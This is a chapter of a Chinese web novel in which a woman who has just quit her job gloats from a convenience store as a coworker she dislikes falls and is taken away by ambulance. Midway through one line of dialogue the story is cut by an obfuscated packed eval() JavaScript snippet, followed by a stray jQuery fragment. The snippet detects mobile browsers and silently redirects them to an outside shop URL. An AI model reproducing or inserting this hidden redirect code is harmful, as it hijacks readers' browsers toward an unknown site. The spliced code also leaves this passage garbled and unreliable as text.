13. 第 13 章
    世界这么大,区区一个破小公司,辞职就辞职了。

    难道全球都没有她的容身之所吗?

    钟励越想越气,一肚子火,气得头疼。

    她找了个便利店坐下来,揉揉太阳穴,缓解情绪。

    还好她今天带了笔记本,笔记本似乎已经成为了她的护身符,只要不爽就是干。

    谁敢惹她,通通写上去。

    她从包里抽出笔记本,翻到写着方付名字的那一页,将他的身份证号码补齐了。

    她停笔的那一刻,原本缓解不少的头疼,又开始隐隐作痛。

    手机的字都看不清了,屏幕出现了水波纹,眼球也发疼。

    这是郊外,离她住的地方又远。打车预计要上百块了,再加上是晚上的缘故。

    钟励打起精神又搜了一下附近的公交站台,离她五百米有一个,最后一班车在九点半。

    现在已经九点十分了,钟励视线移到手机屏幕左上方的时间时,也被吓了一跳。

    没多少时间了,赶不及的话打车不但贵,还不一定有司机接单。

    头晕乎乎的,刚跨出门槛半步,钟励就发现自己的脑袋顶到了一个软呼呼的地方,还有热气。

    “你怎么样?”

    来人一把抓住她的手腕,像是怕她逃跑。

    钟励退后半步,眼睛顿顿地疼,她半阖着眼,发现来人是纪善。

    “是你啊,你们饭局结束了?”

    刚刚的场景纪善不在场,她也不会迁怒他。就算他在场,明哲保身也正常。

    “你是不是不太舒服?我听说你大闹了一场,辞职了?”

    听到纪善的描述,钟励心里很不舒服,她皱着眉头,抽出自己的手,反问道:

    “什么叫我大闹一场?你知道发生了什么吗?”

    说完这话后,钟励只觉得身体疲惫,嘴巴也张不开说话。

    她在解释什么?跟纪善有什么关系?解释毫无意义,没有真正的感同身受。

    钟励不欲于纪善多交谈,但纪善仗着人高马大,像一堵墙挡在面前。

    “你看起来不太好。”

    听得出来他语气里的关切。

    奇怪的是纪善的目光,他的眼神并没有定点在钟励身上的某一处,比如她发疼的脑袋,出汗的额头,惨白的嘴唇。而是格外关注她的整体,外缘部分。

    “我说过的,你需要控制自己的情绪,不要让自己成为情绪的奴隶。”

    纪善的嘴巴叨叨叨的,哪怕是帅哥,魅力也大打折扣了。

    她直接伸出手捂住纪善的嘴巴,正在说的话被打断,纪善眼珠子瞪得溜圆。

    他似乎张开还想说,钟励的手用力封闭他的嘴唇。

    钟励另一只手竖起一根食指,放在嘴巴前,轻轻“嘘”了一声。

    “男人,沉默才是最大的魅力。少说话。”

    为什么要让她控制情绪,为什么不让那些肥头大耳的领导层控制一下自己的情绪?

    她还以为纪善是个好人呢,不过想想也是,能入柯总的眼,想必差不多跟方付一样是一个马屁精吧。

    没错她就是会这样恶意揣测别人,她猜的大部分都没有错。

    “可是你……”

    纪善还是喋喋不休的。

    钟励本来就难受,加上一只苍蝇在耳边嗡嗡地叫,真想一拖鞋拍过去。

    两人拉扯的间隙,柯总一行人大摇大摆出来了。

    钟励一看那还得了,顾不上头晕眼花了,又钻回了便利店里。

    期间因为没看路差点撞到玻璃门上,还好纪善伸出手在她头顶垫了一下。

    就这一下,钟励宣布她今天原谅纪善的出言不逊,没错她就是很好哄。

    “你躲什么?”

    纪善站在一旁,看钟励跟做贼一样躲躲藏藏的。

    她刚刚才放下狠话要辞职,这下见面了多尴尬。

    而且她没车回不去,要是那该死的方付嘲笑她,她面子往哪里放?

    “你也给我下来。”

    钟励瞧纪善跟个傻大个一样杵在,这么显眼的一个目标。

    她直接伸手抓住他的领口,让他一起蹲了下来。

    便利店的玻璃窗户下半贴着海报,加上晚上灯光昏暗,可以完全遮挡住两个人的身形。

    纪善真就乖乖地顺从她的动作,眼睛一眨不眨地看着她。

    超近距离让钟励发现纪善真就天生丽质,皮肤清透,眼下没有黑眼圈。

    她远远看的时候觉得他脸上没有瑕疵,还以为是他出门前在家里化了三个小时的素颜妆呢。

    方付可能是喝得多了,走路晃晃悠悠的。

    饭店上有一段不高的台阶,是个正常人都能顺利走下来。

    方付可能是喝醉了没注意到,一个抬脚直接从小台阶上滚了下来。

    摔倒后也不知道是哪里疼,抱着手也抱着脚,声音跟公鸭嗓一样难以入耳,还喊个不停。

    “哈哈哈。”

    钟励今天第一次也是唯一一次发自内心的笑容。

    她用手肘戳了一下纪善的手臂,眼神示意:

    “你瞧,恶有恶报。”

    虽然这恶报是她自己达成的,但自己亲自动手就是爽。

    “你很开心吗?”

    纪善表情十分严肃,眼神锐利,紧紧盯着钟励的笑容。

    钟励也冷下脸来,拉开两人的距离,她双手抱胸,点点头:

    “是的,我看他倒霉,我很开心。”

    她可不是什么以德报怨的人。

    她也从来不吝啬表达自己的阴暗面,她就是见不得欺负她的人过得好。

    “可是这样对你自己也不好,比如现在你身上的恶怨就很重。”

    钟励推开纪善,缓慢站起来,眼前一阵发黑,加上嗡嗡嗡的尖锐耳鸣,仿佛下一秒就要一命呜呼了。

    她扶着墙壁,等待不适感的消失。

    她不知道纪善嘴里的恶怨是什么东西?她只知道自己要是再忍气吞声憋着,她就得进医院了。

    纪善也站了起来,不过显然他身体素质好很多,不用扶稳直接能抬脚就走。

    “等等,你去哪里?”

    钟励拉住纪善的衣角。当然她不是为了解释挽回自己的纪善心中的形象,她只是害怕他去救方付那个垃圾。

    “我去救人。”

    四个字一出,钟励就知道自己的预料没错。

    她的动作从拉衣角到拉纪善的手臂,扯着他不让走。

    “不行,不就是流点血吗?有什么大不了的,我每个月都会流啊。让他再吃点苦头。”

    势必要将伤害最大化,反正方付又死不了。

    “你放开我,这样拉扯多难看,有人都看到了。”

    便利店的员工在收银台,偶尔往他们这里看一眼,又收回眼神。

    听到纪善的话后,她无神地抬起眼皮,眼睛只睁开了一半,她慢慢说道;

    “随便你们干什么,只要别搞些少儿不宜的行为,就算你们把这店烧了,我

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14240221|151242||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    都无所谓。”

    然后店员像个幽灵一般,推着一箱商品去整理货架了。

    “钟励,我觉得你这种行为是不对的,你终究会因为自己的满身恶怨付出代价。”

    “好自为之吧。”

    纪善抛下这两句话后,加入了救援方付的队伍当中。

    钟励浑身失力,身子靠在墙壁上,她右手捂着心脏,一阵阵酸疼。

    “唉。”

    “下次还是别熬夜了,真怕猝死。”

    她来团建前睡不着,熬了一晚上看小说。

    团建的时候又不能睡觉,为了提神又喝了很多提神的饮料。

    钟励就站在远处,一动不动密切关注着她的前同事。

    方付不知道摔到哪里了,众人都不敢轻易搀扶他,怕造成二次伤害。

    钟励咬着牙一顿捶墙,他们要是缺乏常识就好了,对着方付的脑袋一顿摇晃,脑浆都给他摇匀。

    “您好,让一下。”

    店员带着拖把过来了,拖到钟励脚下的时候,出声让她移动一下。

    外面吵闹声连天,店里却安静依旧,尤其是作为核心的店员,稳如泰山。

    “那个,你注意到外面发生的事情了吗?”

    店员头也不抬,弯着腰安静拖地,声音轻飘飘的。

    “看到了,一个傻蛋从楼梯上摔下来了。那跟我有什么关系?我又不会因为这件事情不用上夜班。”

    刚刚离得远,没注意到店员的脸色。

    钟励近视又不爱带眼镜,远远看着店员的时候还以为她是好兴致化了一个烟熏妆。但现在凑近了一瞧,原来是黑眼圈。

    这便利店也太压榨人了,好好的人上夜班成了一个熊猫。

    那这算不算烟熏妆半永久?

    不对,钟励摇摇头。如果夜班是永久要上的,那就是永久烟熏妆。

    没过多久,救护车来了。

    方付的嗓子也嚎哑了,叫都叫不出来了。

    钟励目测,他应该是摔破了头,手跟脚至少有一个地方骨折了。

    浩浩荡荡的,他被医护人员抬上了救护车,其余人也坐上大巴车一起离开了。

    看到车逐渐开远后,钟励才从便利店里走出来。

    “女士?女士?你看看这个包是您同事的吗?”

    饭店的工作人员手上提着一个包,钟励一眼就认出来是李姐的。

    前段时间她天天来炫耀这个名牌包。

    “额,这个不是我同事的包。”

    这个包是李姐的没错,但钟励已经跟她不是同事了,所以钟励说这不是她同事的包,倒也没错。

    “哎呀。”

    钟励如梦初醒,她潜意识里总感觉自己忘了什么事情。原来是公交车。

    她打开手机,发现已经九点半了。

    吓得她拔腿就跑,一边跑一边在心里祈祷公交车能迟到。

    反正她每次等车的时候都不太准时,那这次晚点应该也是大概率吧。

    钟励跑得气喘吁吁,吸进了一大堆废气泥土。

    她瞧见前方的公交车了,还差一百五十米就能赶上。

    她停下来深吸一口气,打算大喊一声让司机停下。

    但突然喉咙干痒,咳嗽袭来,她好一会儿都没能说出话来。

    “等等,等等。”

    司机一踩油门扬长而去,只留下车尾气加剧她的咳嗽。

    钟励一边摸着喉咙,一边发出嘶哑的不甘嚎叫。

    “等等我啊。”